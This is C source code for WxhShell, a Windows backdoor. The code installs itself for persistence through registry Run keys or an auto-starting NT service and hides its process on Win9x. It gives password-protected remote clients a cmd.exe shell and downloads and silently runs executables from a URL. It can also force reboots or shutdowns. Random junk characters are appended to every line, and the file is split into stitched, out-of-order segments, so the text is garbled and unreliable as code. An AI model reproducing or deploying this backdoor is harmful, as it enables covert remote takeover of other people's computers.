    if(Boot(SHUTDOWN)) e>1z1Q;_uv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %{s<h6{R  
    else { =xFw4 D9  
    closesocket(wsh); 62Yi1<kV@  
    ExitThread(0); 9r!psRA:`)  
    } <<K GS  
    break; EXUjdJs"  
    } 7a 4G:  
  // 获取shell Kf D8S  
  case 's': { hkeOe  
    CmdShell(wsh); jI!}}K)d  
    closesocket(wsh); W #E-vi+l  
    ExitThread(0); TG'_1m*$  
    break; ^B~z .F i  
  } g|8G!7O  
  // 退出 jV`xRjh  
  case 'x': { WPiQ+(pt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4M'y9(  
    CloseIt(wsh); ax&,  
    break; $5T3JOFz  
    } z/aZD\[_  
  // 离开 !_)*L+7f_  
  case 'q': { n#,|C`2r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hl?G_%a  
    closesocket(wsh); U7(84k\j  
    WSACleanup(); C]K|;VQ  
    exit(1); lO>w|=<  
    break; z/(^E8F  
        } E9t[Mb %0  
  } }N!I|<"/  
  } j u`x   
x;2tmof=L  
  // 提示信息 uFNVV;~RFI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gtWJR  
} 3G|n`dj  
  } pq$`T|6^  
vK z/-9im  
  return; mnswG vY  
}  chW 1UE  
y`!~JL*  
// shell模块句柄 8V@ /h6-e,  
int CmdShell(SOCKET sock) {H{u[XR[z  
{ =B_vQJF2  
STARTUPINFO si; )*ocX)AE  
ZeroMemory(&si,sizeof(si)); .^0@^%Wi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  Ew1> m'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oF[l<OY4  
PROCESS_INFORMATION ProcessInfo; O` R@6KG  
char cmdline[]="cmd"; |GJSAs"L@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VJ;4~WgBz  
  return 0; ^w'y>uFM  
} f"j~{b7  
u*0Ck*pZ  
// 自身启动模式 OI</o0Ca  
int StartFromService(void) 1TeYA6 t  
{ zLd i  
typedef struct EEmYfP[3  
{ Xl^=&!S>me  
  DWORD ExitStatus; raRb K8CQ  
  DWORD PebBaseAddress; WrBiAh,  
  DWORD AffinityMask; ["VUSa  
  DWORD BasePriority; "HSAwe`5jU  
  ULONG UniqueProcessId; A46z2  
  ULONG InheritedFromUniqueProcessId; 8%v1[W i  
}   PROCESS_BASIC_INFORMATION; dUiv+K)ccQ  
X8aNl"x  
PROCNTQSIP NtQueryInformationProcess; v1wMXOR  
!2>MaV1,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kk|uN#m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /ghXI"ChI  
z/yNFY]i  
  HANDLE             hProcess; FY h+G-Y#  
  PROCESS_BASIC_INFORMATION pbi; x TEDC,B  
F3j#NCuO=z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /f2HZfj  
  if(NULL == hInst ) return 0; CU'$JF  
[;yEG$)K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bC{1LY0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r kOLTi[$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1,q&A RTS  
jA9&hbQuL  
  if (!NtQueryInformationProcess) return 0; ak]:ir`o  
 <yE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,q$'hYTaJ  
  if(!hProcess) return 0; d*;wHA,}F  
MBZ/Pzl~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *mH++3h  
P5/\*~}  
  CloseHandle(hProcess); Fy_D[g  
!0Hx1I<*x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ";\na!MT  
if(hProcess==NULL) return 0; a(- ^ .w  
C{7 j<O  
HMODULE hMod; _qwKFC  
char procName[255]; /, T@/  
unsigned long cbNeeded; uR#aO''  
@}sxA9 a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eiE36+'>b  
zi M~V'  
  CloseHandle(hProcess); t@dv$W2 "  
p2Yc:9r9+A  
if(strstr(procName,"services")) return 1; // 以服务启动 _?Q0yVH;,  
{akSK  
  return 0; // 注册表启动 I29aja  
} S[g{ )p)  
imGg3'  
// 主模块 V?x&.C2Z  
int StartWxhshell(LPSTR lpCmdLine) V80BO#Pk  
{ H4l*  
  SOCKET wsl; Xtv^q> !  
BOOL val=TRUE; yr=$a3web;  
  int port=0; K)!yOa'fH  
  struct sockaddr_in door; A|3'9iL{9  
!>gi9z,  
  if(wscfg.ws_autoins) Install(); op!8\rM<e  
Yn!)('FdT!  
port=atoi(lpCmdLine); c8'a<<sj  
l0hcNEj{W  
if(port<=0) port=wscfg.ws_port; w"?H4  
<OF2\#Nh  
  WSADATA data; OEMYS I%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BllS3I}V  
=z_.RE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `r?xo7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AXbDCDA  
  door.sin_family = AF_INET; AP1Eiv<Hub  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "'Bx<FA  
  door.sin_port = htons(port); "N'|N.,  
prJ]u H,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BCy# Td  
closesocket(wsl); |]s/NNU  
return 1; 9eG{"0)  
} XEK%\o}  
S.G"*'N  
  if(listen(wsl,2) == INVALID_SOCKET) { 8n_!WDD  
closesocket(wsl); 954!ED|F(  
return 1; B{x`^3q R  
} tb#9TF  
  Wxhshell(wsl); LBO3){=J  
  WSACleanup(); cOz8YVR-  
~=xiMB;oH  
return 0; W@"s~I6  
Fog4m=b`g  
} Y8$Y]2  
$hND!T+;  
// 以NT服务方式启动 ;/hR#>ib  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :!',o]"4,k  
{ K+2sq+ 3q  
DWORD   status = 0; ~8fy qE$  
  DWORD   specificError = 0xfffffff; 7sgK+ ip  
wlSl ~A/s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zVeQKN9^Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  Xaz`L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =t@8Y`9w  
  serviceStatus.dwWin32ExitCode     = 0; )Q:.1Hgl  
  serviceStatus.dwServiceSpecificExitCode = 0; e u{  
  serviceStatus.dwCheckPoint       = 0; L$T23*9XY  
  serviceStatus.dwWaitHint       = 0; Q}/2\Q=)j  
4gyC?#Ede  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c:[z({`  
  if (hServiceStatusHandle==0) return; I[P43>F3  
hrT!S  
status = GetLastError(); hh%f mc  
  if (status!=NO_ERROR) pK_n}QW  
{ Q:nBx[%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #RfNk;kaA  
    serviceStatus.dwCheckPoint       = 0; cJp:0'd  
    serviceStatus.dwWaitHint       = 0; 2kG(\+\  
    serviceStatus.dwWin32ExitCode     = status; '+ %<\.$  
    serviceStatus.dwServiceSpecificExitCode = specificError; nYA@t=t0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vIMLUL0  
    return; |->P|1 P  
  } `Mg&s*  
{DP%=4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c;RL<83:  
  serviceStatus.dwCheckPoint       = 0; YTb/ LeuT  
  serviceStatus.dwWaitHint       = 0; S5%I+G3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3vcKK;qCB  
} `lI(SS]w  
VaV(+X  
// 处理NT服务事件,比如:启动、停止 *O5Ysk^|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *F4"mr|\  
{ yX`5x^wVw  
switch(fdwControl) "xr=:[n[  
{ -XuRQ_)nG  
case SERVICE_CONTROL_STOP: "#ctT-g`6  
  serviceStatus.dwWin32ExitCode = 0; `]u!4pP"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /"q wC  
  serviceStatus.dwCheckPoint   = 0; AbqeZn  
  serviceStatus.dwWaitHint     = 0; pgp@Zw)r)k  
  { L4Nn:9b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); te<lCD6  
  } zYCS K~-GW  
  return; NZ{)&ObBRt  
case SERVICE_CONTROL_PAUSE: .()|0A B&g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6jDHA3  
  break; PN(P$6  
case SERVICE_CONTROL_CONTINUE: 7{"urs7 T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3zr95$Mt  
  break; pbXh}YJ&  
case SERVICE_CONTROL_INTERROGATE: vJ&g3ky  
  break; V"A*k^}  
}; tAi ~i;?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F]fBFDk  
} .m;5s45O{  
r2h{#2  
// 标准应用程序主函数 g`n5-D@3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) < 2 mbR  
{ K[j~htC{I"  
fN|'aq*Pd  
// 获取操作系统版本 Qp?+G~*  
OsIsNt=GetOsVer(); 9/yE\p .  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CO<P$al  
MS>QU@z7c  
  // 从命令行安装 3EVAB0/$  
  if(strpbrk(lpCmdLine,"iI")) Install(); U8||)  +  
%}`zq8Q;  
  // 下载执行文件 P{2ue`w[  
if(wscfg.ws_downexe) { 1:.I0x!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  K}OY!|  
  WinExec(wscfg.ws_filenam,SW_HIDE); j=],n8_i  
} i 6DcLE  
_ Vo35kA  
if(!OsIsNt) { ru>c\X^|  
// 如果时win9x,隐藏进程并且设置为注册表启动 K{vn[}  
HideProc(); bE6:pGr  
StartWxhshell(lpCmdLine); W Z_yaG$U  
} &{gD(QG  
else 9w"kxAN  
  if(StartFromService()) Cih~cwE  
  // 以服务方式启动 ge[hAI2I  
  StartServiceCtrlDispatcher(DispatchTable); 'xG:v)(  
else o<\u Hr3  
  // 普通方式启动 ua8Burl7  
  StartWxhshell(lpCmdLine); )%(V.?eW  
t ;-U  
return 0; izvwXC  
} ';vL j1v  
} G3:QD  
9&O7F}VP2  
p7Xe[94d^  
=========================================== >[qoNy;  
^+MG"|)u~  
%b1NlzB+  
zm{U.Q  
.@kjC4m  
\'>ZU-V  
" @5,Xr`]  
YqEB%Y~N+  
#include <stdio.h> R2Y.s^  
#include <string.h> C25EIIdRb  
#include <windows.h> YD@n8?~$$  
#include <winsock2.h> LJ{P93aq`^  
#include <winsvc.h> 7`pK=E}+  
#include <urlmon.h> =[D '3JB  
QI WfGVc-  
#pragma comment (lib, "Ws2_32.lib") EyK F5TP0  
#pragma comment (lib, "urlmon.lib") U=vh_NHj  
G@=H=' :~  
#define MAX_USER   100 // 最大客户端连接数 NGs@z^&V  
#define BUF_SOCK   200 // sock buffer OH_mZA  
#define KEY_BUFF   255 // 输入 buffer Qw@_.I  
u|Tg*B  
#define REBOOT     0   // 重启 bMvHAtp  
#define SHUTDOWN   1   // 关机 j96\({;k  
I%b}qC"5M  
#define DEF_PORT   5000 // 监听端口 6E))4 lW  
D\LXjEm e.  
#define REG_LEN     16   // 注册表键长度 Fu$JI8  
#define SVC_LEN     80   // NT服务名长度 huTWoMU  
XPfheV G  
// 从dll定义API ')82a49eA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J};=)xLX;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ty5}5)CRZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;W2Rl%z88  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C_rA'Hy  
z:JQ3D7/we  
// wxhshell配置信息 i9=*ls^Cx  
struct WSCFG { n%&+yg   
  int ws_port;         // 监听端口 )Zbrg~-@  
  char ws_passstr[REG_LEN]; // 口令 =K8z8K?  
  int ws_autoins;       // 安装标记, 1=yes 0=no t \;,$i  
  char ws_regname[REG_LEN]; // 注册表键名 {~0r3N4Zl  
  char ws_svcname[REG_LEN]; // 服务名 }M|,Z'@*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .?NraydwV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D6NgdE7b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #bZT&YE^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bL 9XQ:$C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4RDdfY\%u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U:+wt}-T"  
Y$K[@_dv=  
}; ~^ ^|]s3  
Pu`;B  
// default Wxhshell configuration 3j} @}2D  
struct WSCFG wscfg={DEF_PORT, J5j3#2l  
    "xuhuanlingzhe", )W0z  
    1, w\{oOlE  
    "Wxhshell", 6_a~ 4_#  
    "Wxhshell", --BS/L-  
            "WxhShell Service", C/{%f,rU  
    "Wrsky Windows CmdShell Service", %]\IC(q  
    "Please Input Your Password: ", @";zM&  
  1, upefjwm  
  "http://www.wrsky.com/wxhshell.exe", Bf+7;4-  
  "Wxhshell.exe" svj0;x5  
    }; Ns#R`WG)  
UWIw/(Mv/]  
// 消息定义模块 l0@+ &Xj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d>k"#|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mWiX@#,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cms9]  
char *msg_ws_ext="\n\rExit."; +-d)/h.7  
char *msg_ws_end="\n\rQuit."; 96]!*}  
char *msg_ws_boot="\n\rReboot..."; 3{FUFx  
char *msg_ws_poff="\n\rShutdown..."; L>>Cx`ASi  
char *msg_ws_down="\n\rSave to "; tv\_& ({  
>og- jz  
char *msg_ws_err="\n\rErr!"; `44 }kkBT  
char *msg_ws_ok="\n\rOK!"; U{|WN7Q:A  
o^*k   
char ExeFile[MAX_PATH]; %DIZgPd\  
int nUser = 0; jFPD SR5  
HANDLE handles[MAX_USER]; "inXHxqu/J  
int OsIsNt; :+Okv$v4  
Fo$'*(i  
SERVICE_STATUS       serviceStatus; '@3Kq\/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {~a+dEz  
4O1[D? )`x  
// 函数声明 E(/M?>t-  
int Install(void); 9TZ4ffXV*  
int Uninstall(void); ,#blY~h8^  
int DownloadFile(char *sURL, SOCKET wsh); m |%ly  
int Boot(int flag); l/:23\  
void HideProc(void); Ow f:Kife  
int GetOsVer(void); $5v:z   
int Wxhshell(SOCKET wsl); ;lU]ilYv  
void TalkWithClient(void *cs); ")i>-1_H  
int CmdShell(SOCKET sock); "4[8pZO/  
int StartFromService(void); (n {,R  
int StartWxhshell(LPSTR lpCmdLine); hY[Vs5v  
:W*']8 M-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kD{qW=Lpn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _=ziw|zI  
w\(; >e@  
// 数据结构和表定义 Xn3 \a81  
SERVICE_TABLE_ENTRY DispatchTable[] = x !^u$5c  
{ KXvBJA$  
{wscfg.ws_svcname, NTServiceMain}, ReZ&SNJ  
{NULL, NULL} ZgH(,g,TU  
}; s$PPJJT{b  
XPd@>2  
// 自我安装 r.#"he_6!.  
int Install(void) \9 5O  
{ Qs1e0LwA9  
  char svExeFile[MAX_PATH]; lq*{2M{[  
  HKEY key; /M@6r<2`i  
  strcpy(svExeFile,ExeFile); 3V)NM%Aw  
/+zzZnLl-M  
// 如果是win9x系统,修改注册表设为自启动 7%F8  
if(!OsIsNt) { vAH`tPi>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,'z=cB`+o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 86HK4sES  
  RegCloseKey(key); b@  S.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z`{ZV5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G.y~*5?#  
  RegCloseKey(key); .!Qo+(  
  return 0; +#=l{_Z,ZJ  
    } $Q'S8TU  
  } p|,3X*-ynx  
} nQ}$jOU &  
else { rUOl+p_47  
 *CS2ndp  
// 如果是NT以上系统,安装为系统服务 MlmdfO%Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vpL3XYs`  
if (schSCManager!=0) #V#sg}IhM?  
{ _DAj$$ Ru4  
  SC_HANDLE schService = CreateService ccm(r~lhJ  
  ( s?pd&_kOv3  
  schSCManager, KV {J>J1  
  wscfg.ws_svcname, A[6D40o  
  wscfg.ws_svcdisp, R!2oj_  
  SERVICE_ALL_ACCESS, =&YhA}l\O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]UFbG40Zo  
  SERVICE_AUTO_START, WO<a^g {  
  SERVICE_ERROR_NORMAL, SdM@7%UK  
  svExeFile, 71(C@/J  
  NULL, Z(0sMOaX  
  NULL, GiGXV @dq  
  NULL, .]D7Il  
  NULL, w(-h!d51+  
  NULL 1Bhd-  
  ); q[Ed6FM$~  
  if (schService!=0) c3]X#Qa#m$  
  { 7ElU5I<S  
  CloseServiceHandle(schService); 2ms@CQy(00  
  CloseServiceHandle(schSCManager); WPbG3FrL!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >J,y1jzJ  
  strcat(svExeFile,wscfg.ws_svcname); \I[50eh|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .QVZ!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N_^s;Qj  
  RegCloseKey(key); ( {}Z '  
  return 0; xG"*w@fs7  
    } eGr;PaG  
  } x-%4-)  
  CloseServiceHandle(schSCManager); TOC2[m c'  
} ~&\}qz3  
} /CfgxPo  
&w"1VOV<  
return 1;  VsR8|Hn$  
} L^><APlX  
DJ.n8hne  
// 自我卸载 M>LgEc-v67  
int Uninstall(void) bWEti}kW  
{ ;I@@PUnR  
  HKEY key; RP|/rd]-k  
\#O}K  
if(!OsIsNt) { guc[du  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Jy/ a-  
  RegDeleteValue(key,wscfg.ws_regname); }?KfL$@$  
  RegCloseKey(key); kD.KZV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bDq[j8IT6  
  RegDeleteValue(key,wscfg.ws_regname); j$ h>CZZ  
  RegCloseKey(key); BfOQ/k))  
  return 0; PTZ/j g@71  
  } Z?"f#  
} <)am]+Lswy  
} W0_ pO  
else { 7ea<2va,  
/.m &rS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6! .nj3$*  
if (schSCManager!=0) HJ^SqSm  
{ yNU.<d 5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |18h p  
  if (schService!=0) 9qcA+gz:|  
  { {Z!x]}{M  
  if(DeleteService(schService)!=0) { pS6p}S=1]  
  CloseServiceHandle(schService); TpIx!R9  
  CloseServiceHandle(schSCManager); ExKjH*gn  
  return 0; 8DLj?M>N  
  } 5%)<e-  
  CloseServiceHandle(schService); HmQ.'  
  } Z\. n6  
  CloseServiceHandle(schSCManager); _'Rzu'$`  
} %8hjMds  
} &Ay[mZQ 7  
97 eEqI$#  
return 1; 7xU6Ll+p  
} 43m@4Yb  
6#gS`X23Y  
// 从指定url下载文件 d.Im{-S  
int DownloadFile(char *sURL, SOCKET wsh) mtd ,m  
{ pEp`Z,p  
  HRESULT hr; 2uZ4$_  
char seps[]= "/"; R q |,@  
char *token; {Uj-x -  
char *file; )F,IPAA#  
char myURL[MAX_PATH]; L5j%4BlK/  
char myFILE[MAX_PATH]; p()#+Xy  
lC8Z@wkjO  
strcpy(myURL,sURL); 'JK"3m}nT  
  token=strtok(myURL,seps); ]9]o*{_+(f  
  while(token!=NULL)  oo4aw1d  
  { :/<SJ({q  
    file=token; 3[F9qDAy  
  token=strtok(NULL,seps); [@;q#.}Z  
  } ,*MA teD  
#ExNiFZ  
GetCurrentDirectory(MAX_PATH,myFILE); xP+`scv*m#  
strcat(myFILE, "\\"); *l{GD1ZDk  
strcat(myFILE, file); }p|S3/G?$!  
  send(wsh,myFILE,strlen(myFILE),0); 2&o jQhe  
send(wsh,"...",3,0); I6-.;)McO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v1O1-aM  
  if(hr==S_OK) >K;DBy*  
return 0; =IH~:D\&  
else 6 @A'N(I=O  
return 1; Mv?$zV"`#  
w Sd|-e  
} ;Y9-0W  
?[VL 2dP0  
// 系统电源模块 #UesXv  
int Boot(int flag) [L ?^+p>  
{ {16]8-pe  
  HANDLE hToken; R(AS$<p{!>  
  TOKEN_PRIVILEGES tkp; &,8F!)[9  
J5Ovj,[EZ  
  if(OsIsNt) { Y!qn[,q8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m- u0U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H5!e/4iz  
    tkp.PrivilegeCount = 1; 1tIJ'#6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4^(aG7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YG_|L[/#  
if(flag==REBOOT) { Q&]f9j_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -qqI @+u+  
  return 0; G0~6A@>  
} 4..M *U  
else { [JVEKc ym  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !*e1F9k  
  return 0; c4V%>A  
} Lvd es.0|  
  } cNl NJ  
  else { L+.&e4f'oj  
if(flag==REBOOT) { W7#dc89}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8vqx}2  
  return 0; vdIert?p  
} ? FlQ\q  
else { %urd;h D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x:$ xtu  
  return 0; V jLv{f<p  
} MSaOFv_Q  
} pv]2"|]V)  
m gE r+  
return 1; ).3riR  
} J!\oH%FJp  
e|}B;<  
// win9x进程隐藏模块 B",;z)(%  
void HideProc(void) z_8lf_N  
{ rU9z? (  
["^? vhv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $uUR@l  
  if ( hKernel != NULL ) b.j$Gna>Q  
  {  alH6~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =&I9d;7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IOT-R!.5V  
    FreeLibrary(hKernel); #w@V!o  
  } Qo~|[]GE  
Ggk#>O G  
return; `0, G' F  
} t>! Ok  
mg]t)+PQ  
// 获取操作系统版本 i_(6} Y&  
int GetOsVer(void) |=js!R|  
{ HtV8=.^  
  OSVERSIONINFO winfo; N 9W,p 2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fSVb.MZa7  
  GetVersionEx(&winfo); ykYef  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m+Kl   
  return 1; (YM2Cv{4  
  else s}F.D^^G  
  return 0; 1ixBwnp?  
} }qT{" *SC  
MY}/h@  
// 客户端句柄模块 A{p_I<  
int Wxhshell(SOCKET wsl) I(H9-!&  
{ Cto>~pV  
  SOCKET wsh; #>M^BOR8  
  struct sockaddr_in client; xz Hb+1+p  
  DWORD myID; [/o B jiBA  
2<9&OL  
  while(nUser<MAX_USER) Z!-V&H.  
{ lK_T%1Gz  
  int nSize=sizeof(client); :%_h'9Qq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vi`P &uPF  
  if(wsh==INVALID_SOCKET) return 1; KM"BHaSkF  
WjguM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :T{VCw:*  
if(handles[nUser]==0) gBr /Y}I  
  closesocket(wsh); 1~Z   
else ,BFw-A  
  nUser++; xX|f{)<  
  } =QK ucLo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2H1 [ oD[  
Z((e-T#,  
  return 0; 5"y)<VLJX  
} A4g,)  
gO{$p q}  
// 关闭 socket cJf&R^[T  
void CloseIt(SOCKET wsh) )t((x  
{ 85e*um^  
closesocket(wsh); Oyb0t|do+  
nUser--; =ld!=II  
ExitThread(0); `A9fanh  
} *{,}pK2*  
8DX5bB  
// 客户端请求句柄 +p[O|[z  
void TalkWithClient(void *cs) +/ {lz8^,  
{ KZO[>qC"R  
eLLOE)x  
  SOCKET wsh=(SOCKET)cs; Fi/`3A@68  
  char pwd[SVC_LEN]; 'P*OzZ4>$  
  char cmd[KEY_BUFF]; A'$>~Ev  
char chr[1]; 4 |bu= T  
int i,j; Y9I|s{~  
M3Qi]jO98  
  while (nUser < MAX_USER) { I@5$<SN  
`n@;%*6/  
if(wscfg.ws_passstr) { hXvC>ie(i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qHgzgS7a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m#ig.z|A  
  //ZeroMemory(pwd,KEY_BUFF); `6RccEm  
      i=0; \r9E6LL X'  
  while(i<SVC_LEN) { X#Ob^E%J  
Qsw.429t  
  // 设置超时 [kTckZv  
  fd_set FdRead; nch#DE8 2  
  struct timeval TimeOut; f:t j   
  FD_ZERO(&FdRead); 6q8PLyIp  
  FD_SET(wsh,&FdRead); yY{  
  TimeOut.tv_sec=8; Nv|0Z'M  
  TimeOut.tv_usec=0; f|ERZN`uB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >6Jz=N,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %mIdQQ,  
 [aG   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q6b&b^r+H  
  pwd=chr[0]; T9'HQu  
  if(chr[0]==0xd || chr[0]==0xa) { I2krxLPd  
  pwd=0; 0dQ\Y]b  
  break; :wEy""*N0  
  } q&}+O  
  i++; bc:3 5.  
    } &-w.rF@  
]q"y P 0  
  // 如果是非法用户,关闭 socket 7{l~\] 6d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C4GkFD   
} OO'zIC<z  
@iMF&\KC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C9_[ke[1D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xB]^^ NYE=  
6oFA=CjU{  
while(1) { oIQ$98M  
R<vbhB/lU  
  ZeroMemory(cmd,KEY_BUFF); GHo mk##0E  
 3bJ|L3G  
      // 自动支持客户端 telnet标准   ktRGl>J  
  j=0; *yY\d.6(  
  while(j<KEY_BUFF) { |j{]6Nu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sCmN|Q  
  cmd[j]=chr[0]; ^go3F{; 4i  
  if(chr[0]==0xa || chr[0]==0xd) { oad /xbp@/  
  cmd[j]=0; lIZ&' z  
  break; x6$3 KDQm  
  } ^w&!}f+  
  j++;  -PU.Uw]  
    } gyPwNE  
F\v~2/J5v  
  // 下载文件 So75h*e  
  if(strstr(cmd,"http://")) { rg=Ym.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K`j:F>b  
  if(DownloadFile(cmd,wsh)) $~j9{*]5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IxG7eX!  
  else ]>ndFE6kl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dc_2nF  
  } :Rnwyj])  
  else { uHRxV"@}[1  
"c?31$6  
    switch(cmd[0]) { K`60[bdp  
